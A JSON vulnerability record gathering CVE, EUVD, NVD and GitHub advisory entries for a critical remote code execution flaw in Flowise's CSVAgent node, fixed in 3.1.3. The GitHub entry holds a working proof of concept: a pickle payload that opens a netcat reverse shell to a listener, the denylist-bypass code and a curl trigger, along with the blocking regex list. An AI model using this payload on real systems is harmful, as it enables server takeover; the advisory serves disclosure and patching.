{"id":"CVE-2026-69256","revision":null,"records":[{"revision":"35f753eaf41c40a789ad6f5b85719785","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-69256","aliases":[],"title":"Flowise: Remote Code Execution Vulnerability in CSVAgent","description":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent node allowed users to provide Python code that is executed through pyodide; although a denylist blocked dangerous Python constructs, pandas.read_pickle() could deserialize a pickled payload and achieve code execution without matching the denied words. The affected file is flowise-components/nodes/agents/CSVAgent/CSVAgent.ts, where user-supplied customReadCSVFunc is evaluated as pd.${customReadCSVFunc}. An authenticated user who can create or modify a chatflow can add a CSV Agent, place a malicious read_pickle payload in the Additional Parameters, save the chatflow, and trigger /api/v1/prediction/<UUID> to execute commands. This issue is fixed in version 3.1.3.","state":0,"publishedAt":"2026-08-04T15:45:55.039+00:00","modifiedAt":"2026-08-05T13:41:04.093+00:00","affected":[{"ecosystem":"Vendor product","name":"Flowise","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"FlowiseAI\",\n                    \"product\": \"Flowise\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.1.3\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9.4,"severity":"CRITICAL"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x6vm-w76m-8j7g","https://github.com/FlowiseAI/Flowise/pull/6257","https://github.com/FlowiseAI/Flowise/commit/c79fe56a6c249850e96bce9b4859f7a0083e4507","https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-69256","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-69256","identifiers":["CVE-2026-69256"]},"retained":false,"historicalAffected":[]},{"revision":"91f6e2d4b0d34a788330b8104328fac0","observedAt":"2026-11-07T14:21:33.342+00:00","statement":{"source":"euvd","id":"EUVD-2026-52746","aliases":["CVE-2026-69256","GHSA-x6vm-w76m-8j7g"],"title":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent node allowed users to provide Python code that is executed through pyodide; although a denylist blocked dangerous Python c…","description":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent node allowed users to provide Python code that is executed through pyodide; although a denylist blocked dangerous Python constructs, pandas.read_pickle() could deserialize a pickled payload and achieve code execution without matching the denied words. The affected file is flowise-components/nodes/agents/CSVAgent/CSVAgent.ts, where user-supplied customReadCSVFunc is evaluated as pd.${customReadCSVFunc}. An authenticated user who can create or modify a chatflow can add a CSV Agent, place a malicious read_pickle payload in the Additional Parameters, save the chatflow, and trigger /api/v1/prediction/<UUID> to execute commands. This issue is fixed in version 3.1.3.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9.4,"severity":null}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x6vm-w76m-8j7g","https://github.com/FlowiseAI/Flowise/pull/6257","https://github.com/FlowiseAI/Flowise/commit/c79fe56a6c249850e96bce9b4859f7a0083e4507","https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-52746","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 4, 2026, 3:45:55 PM","dateUpdated":"Aug 5, 2026, 1:41:04 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-52746","identifiers":["EUVD-2026-52746","CVE-2026-69256","GHSA-x6vm-w76m-8j7g"]},"retained":false,"historicalAffected":[]},{"revision":"54b4486003be46e49a025daa7dabf0b3","observedAt":"2026-10-25T15:18:51.467+00:00","statement":{"source":"nvd","id":"CVE-2026-69256","aliases":[],"title":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent node allowed users to provide Python code that is executed through pyodide; although a denylist blocked dangerous Python c…","description":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent node allowed users to provide Python code that is executed through pyodide; although a denylist blocked dangerous Python constructs, pandas.read_pickle() could deserialize a pickled payload and achieve code execution without matching the denied words. The affected file is flowise-components/nodes/agents/CSVAgent/CSVAgent.ts, where user-supplied customReadCSVFunc is evaluated as pd.${customReadCSVFunc}. An authenticated user who can create or modify a chatflow can add a CSV Agent, place a malicious read_pickle payload in the Additional Parameters, save the chatflow, and trigger /api/v1/prediction/<UUID> to execute commands. This issue is fixed in version 3.1.3.","state":0,"publishedAt":"2026-08-04T17:17:00.707+00:00","modifiedAt":"2026-10-24T16:10:00.153+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":9.4,"severity":"CRITICAL"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/FlowiseAI/Flowise/commit/c79fe56a6c249850e96bce9b4859f7a0083e4507","https://github.com/FlowiseAI/Flowise/pull/6257","https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3","https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x6vm-w76m-8j7g"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69256","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-94"],"productCriteria":["cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-08-04T17:17:00.707","lastModified":"2026-10-24T16:10:00.153"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-69256","identifiers":["CVE-2026-69256"]},"retained":false,"historicalAffected":[]},{"revision":"1f11f451f0864e8e964f63f9403ddd8a","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-x6vm-w76m-8j7g","aliases":["CVE-2026-69256"],"title":"Flowise: Remote Code Execution Vulnerability in CSVAgent","description":"### Summary\n\nThe CSVAgent node was observed to allow users to write Python code which gets executed via `pyodide`. The original intent was to allow users to utilise the `pandas` library for CSV processing. Although there is a denylist that checks for dangerous Python constructs from being passed in, `pandas` has a `read_pickle()` [function](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html) that deserialises a pickled payload and this can be leveraged to achieve code execution.\n\n### Details\n\nThe affected file is the `CSVAgent` node, found in: `flowise-components/nodes/agents/CSVAgent/CSVAgent.ts`.\n\n```js\ntry {\n    const code = `import pandas as pd\nimport base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"${base64String}\"\n\ndecoded_data = base64.b64decode(base64_string)\n\ncsv_data = StringIO(decoded_data.decode('utf-8'))\n\ndf = pd.${customReadCSVFunc} <1>\nmy_dict = df.dtypes.astype(str).to_dict()\nprint(my_dict)\njson.dumps(my_dict)`\n    dataframeColDict = await pyodide.runPythonAsync(code)\n} catch (error) {\n    throw new Error(error)\n}\n```\n\nAt <1>, the `customReadCSVFunc` is supplied by the user. This input goes through input validation that denies dangerous Python constructs from being passed in:\n\n```py\nconst FORBIDDEN_PATTERNS: Array<{ pattern: RegExp; reason: string }> = [\n    // Imports (the executor pre-imports pandas and numpy; LLM code must not add any imports)\n    { pattern: /\\bfrom\\s+\\S+\\s+import\\b/g, reason: 'import statement (from...import)' },\n    { pattern: /\\bimport\\b/g, reason: 'import statement (all imports forbidden; pandas and numpy are pre-imported by the executor)' },\n    // Dangerous builtins\n    { pattern: /\\beval\\s*\\(/g, reason: 'eval()' },\n    { pattern: /\\bexec\\s*\\(/g, reason: 'exec()' },\n    { pattern: /\\bcompile\\s*\\(/g, reason: 'compile()' },\n    { pattern: /\\b__import__\\s*\\(/g, reason: '__import__()' },\n    { pattern: /\\bopen\\s*\\(/g, reason: 'open()' },\n    { pattern: /\\bbreakpoint\\s*\\(/g, reason: 'breakpoint()' },\n    { pattern: /\\binput\\s*\\(/g, reason: 'input()' },\n    { pattern: /\\braw_input\\s*\\(/g, reason: 'raw_input()' },\n    { pattern: /\\bglobals\\s*\\(/g, reason: 'globals()' },\n    { pattern: /\\blocals\\s*\\(/g, reason: 'locals()' },\n    { pattern: /\\bgetattr\\s*\\(/g, reason: 'getattr()' },\n    { pattern: /\\bsetattr\\s*\\(/g, reason: 'setattr()' },\n    { pattern: /\\bdelattr\\s*\\(/g, reason: 'delattr()' },\n    { pattern: /\\breload\\s*\\(/g, reason: 'reload()' },\n    { pattern: /\\bfile\\s*\\(/g, reason: 'file()' },\n    { pattern: /\\bexecfile\\s*\\(/g, reason: 'execfile()' },\n    // Dangerous modules / attributes\n    { pattern: /\\bos\\./g, reason: 'os module' },\n    { pattern: /\\bsubprocess\\./g, reason: 'subprocess module' },\n    { pattern: /\\bsys\\./g, reason: 'sys module' },\n    { pattern: /\\bsocket\\./g, reason: 'socket module' },\n    { pattern: /\\burllib\\./g, reason: 'urllib module' },\n    { pattern: /\\brequests\\./g, reason: 'requests module' },\n    { pattern: /\\b__builtins__\\b/g, reason: '__builtins__' },\n    { pattern: /\\b__loader__\\b/g, reason: '__loader__' },\n    { pattern: /\\b__spec__\\b/g, reason: '__spec__' },\n    { pattern: /\\b__class__\\b/g, reason: '__class__ (reflection)' },\n    { pattern: /\\b__subclasses__\\s*\\(/g, reason: '__subclasses__()' },\n    { pattern: /\\b__bases__\\b/g, reason: '__bases__' },\n    { pattern: /\\b__mro__\\b/g, reason: '__mro__' },\n    { pattern: /\\b__globals__\\b/g, reason: '__globals__' },\n    { pattern: /\\b__code__\\b/g, reason: '__code__' },\n    { pattern: /\\b__closure__\\b/g, reason: '__closure__' },\n    { pattern: /\\bvars\\s*\\(/g, reason: 'vars()' },\n    { pattern: /\\bdir\\s*\\(/g, reason: 'dir()' },\n    { pattern: /\\b__dict__\\b/g, reason: '__dict__ (attribute reflection)' },\n    { pattern: /\\b__module__\\b/g, reason: '__module__ (module reflection)' }\n]\n```\n\nHowever, by using `pandas.read_pickle()`, an attacker can achieve code execution without hitting any of the denied words.\n\n### PoC\n\nFirst, generate a pickled payload that performs an OS command (replace the IP and port with your listening IP and port):\n\n```py\nimport pickle\nimport base64\nimport os\n\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, (\"/usr/bin/nc 172.17.0.1 13337 -e /bin/sh\",))\n\npayload = pickle.dumps(Exploit())\nencoded = base64.b64encode(payload).decode()\nprint(encoded)\n```\n\nRun it and note the encoded payload to be used later:\n\n```bash\n$ python3 pickle-payload-poc.py\n\ngASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=\n```\n\n1. In the Flowise dashboard, navigate to Chatflows and create or modify an existing Chatflow.\n2. Drag a \"CSV Agent\" node onto the canvas.\n3. Click on \"Additional Parameters\" and fill in the following PoC:\n\n```py\nisnull(\"\")\nclass MiniBytesIO:\n    def __init__(self, b):\n        self.data = b\n        self.pos = 0\n    def read(self, n=-1):\n        if n == -1:\n            n = len(self.data) - self.pos\n        chunk = self.data[self.pos:self.pos+n]\n        self.pos += n\n        return chunk\n    def readline(self, n=-1):\n        if self.pos >= len(self.data):\n            return b\"\"\n        next_nl = self.data.find(b\"\\\\n\", self.pos)\n        if next_nl == -1:\n            next_nl = len(self.data)\n        if n != -1:\n            next_nl = min(self.pos + n, next_nl)\n        line = self.data[self.pos:next_nl+1]\n        self.pos = next_nl + 1\n        return line\npd.read_pickle(MiniBytesIO(base64.b64decode(\"gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=\")))\n```\n\nThe custom `MiniBytesIO` class  needs to be included in order to deserialise the pickled payload, since `read_pickle()` expects a \"str, path object, or file-like object\". This is because we cannot use `import` to import `BytesIO`, nor `open()` to write to disk and read, and entering a URL does not work due to `pyodide` not having raw socket capabilities.\n\nSave the chatflow, and obtain the UUID of this chatflow from the URL `/canvas/<UUID>`.\n\nOpen a listening shell on your specified port from your listening host, and send a POST request to the chatflow to trigger it and achieve code execution:\n\n```\n$ curl -X POST http://<TARGET>/api/v1/prediction/<UUID>\n```","state":0,"publishedAt":"2026-08-04T15:46:20+00:00","modifiedAt":"2026-08-04T18:00:18.0848047+00:00","affected":[{"ecosystem":"npm","name":"flowise-components","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.1.3"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"flowise","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.1.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x6vm-w76m-8j7g","https://github.com/FlowiseAI/Flowise/pull/6257","https://github.com/FlowiseAI/Flowise/commit/c79fe56a6c249850e96bce9b4859f7a0083e4507","https://github.com/FlowiseAI/Flowise","https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"],"sourceUrl":"https://github.com/advisories/GHSA-x6vm-w76m-8j7g","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-x6vm-w76m-8j7g","identifiers":["GHSA-x6vm-w76m-8j7g","CVE-2026-69256"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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